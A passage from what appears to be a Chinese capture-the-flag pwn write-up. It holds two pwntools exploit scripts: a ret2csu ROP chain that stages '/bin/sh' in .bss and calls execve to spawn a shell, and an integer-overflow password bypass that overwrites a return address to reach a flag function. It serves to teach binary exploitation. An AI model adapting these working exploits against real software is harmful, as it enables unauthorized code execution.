  7. rop_addr2 = 0x4005e0 #<__libc_csu_init+64>
  8. bss_addr = 0x601040
  9. offset = 0x18
  10. #在bss段写入/bin/sh和syscall的地址
  11. rop = ""
  12. rop += offset*"A"
  13. rop += p64(rop_addr1)
  14. rop += p64(0) #rbx
  15. rop += p64(1) #rbp
  16. rop += p64(elf.got['read']) #r12
  17. rop += p64(0x20) #r13 #rdx
  18. rop += p64(bss_addr) #r14 #rsi
  19. rop += p64(0) #r15 #rdi
  20. rop += p64(rop_addr2) #ret #read(0, bss_addr, 0x20)
  21. #设置eax为59
  22. rop += p64(0)
  23. rop += p64(0) #rbx
  24. rop += p64(1) #rbp
  25. rop += p64(elf.got['read']) #r12
  26. rop += p64(0x40) #r13 #rdx
  27. rop += p64(bss_addr+ 0x10) #r14 #rsi
  28. rop += p64(0x0) #r15 #rdi
  29. rop += p64(rop_addr2) #ret #read(0, bss_addr+0x10, 0x40)
  30. #execve('/bin/sh', NULL, NULL)
  31. rop += p64(0)
  32. rop += p64(0)
  33. rop += p64(1)
  34. rop += p64(bss_addr + 8) #syscall
  35. rop += p64(0) #NULL
  36. rop += p64(0) #NULL
  37. rop += p64(bss_addr) #'/bin/sh'
  38. rop += p64(rop_addr2) #execve('/bin/sh', NULL, NULL)
  39. sleep(2)
  40. p.sendline(rop)
  41. #第一次read
  42. sleep(1)
  43. p.send(("/bin/sh\x00"+p64(syscall_addr)).ljust(0x20,'\x00'))
  44. #第二次read
  45. sleep(1)
  46. p.send("A"*59)
  47. sleep(1)
  48. p.interactive()

login

  • 存在整数溢出,passwd可以输入409长度,当输入大于260长度时也可符合判定,跳到特定函数即可拿flag
  1. from pwn import *
  2. p = process("./login")
  3. p.sendlineafter("choice:","1")
  4. p.sendlineafter("username:\n","")
  5. offset = 24
  6. payload = "A"*offset
  7. payload += p32(0x804868b)
  8. payload = payload.ljust(261,"A")
  9. p.sendlineafter("passwd:\n",payload)
  10. print p.recvall()

上传的附件

发送私信

1
文章数
0
评论数
最近文章
eject